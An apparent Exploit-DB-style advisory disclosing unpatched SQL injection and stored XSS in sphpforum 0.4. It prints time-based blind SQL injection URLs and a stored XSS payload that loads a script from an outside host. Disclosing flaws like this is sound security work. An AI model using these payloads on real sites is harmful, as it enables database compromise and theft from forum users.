SQL Injection and Stored XSS in sphpforum

vendor:

sphpforum

by:

loneferret

6,4

CVSS

MEDIUM

SQL Injection and Stored XSS

89 (Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) and 79 (Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'))

CWE

Product Name: sphpforum

Affected Version From: 0.4

Affected Version To: Older versions may be affected

Patch Exists: NO

Related CWE: N/A

CPE: a:sphpforum:sphpforum:0.4

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

N/A

SQL Injection and Stored XSS in sphpforum

Due to improper input sanitation, parameters are prone to SQL injection. Stored crossed site scripting is also present in some forms. PoC 1: SQL Injection Page: view_topic.php / view_profile.php? Vulnerable param: 'id' http://172.16.194.148/sphpforum/sphpforum-0.4/view_topic.php?id=50%27%20and%20sleep%2810%29%20and%20%271%27=%271 http://172.16.194.148/sphpforum/sphpforum-0.4/view_profile.php?id=loneferret%27%20and%20sleep%2810%29%20and%20%271%27=%271 PoC 2: Stored XSS Page: create_topic.php Vulnerable field: Topic Payload: <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

Mitigation:

Input validation should be performed to ensure that untrusted data is not used to generate SQL commands that can be executed. Additionally, input validation should be performed to ensure that untrusted data is not used to generate web pages that can be executed.

Source

Exploit-DB raw data:

# Author: loneferret of Offensive Security
# Product: sphpforum
# Version: 0.4 (older versions may be affected)
# 
# Software Download: http://sourceforge.net/projects/sphpforum/

# Description:
# Simple PHP Forum is a PHP based forum/BBS board is designed to be small, simple, 
# fast and allow easy integration into any existing web site.

# Vulnerability:
# Due to improper input sanitation, parameters are prone to SQL injection. Stored
# crossed site scripting is also present in some forms.

# PoC 1:
# SQL Injection
# Page: view_topic.php / view_profile.php?
# Vulnerable param: 'id'
# http://172.16.194.148/sphpforum/sphpforum-0.4/view_topic.php?id=50%27%20and%20sleep%2810%29%20and%20%271%27=%271
# http://172.16.194.148/sphpforum/sphpforum-0.4/view_profile.php?id=loneferret%27%20and%20sleep%2810%29%20and%20%271%27=%271

# PoC 2:
# Stored XSS
# Page: create_topic.php
# Vulnerable field: Topic
# Payload: <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>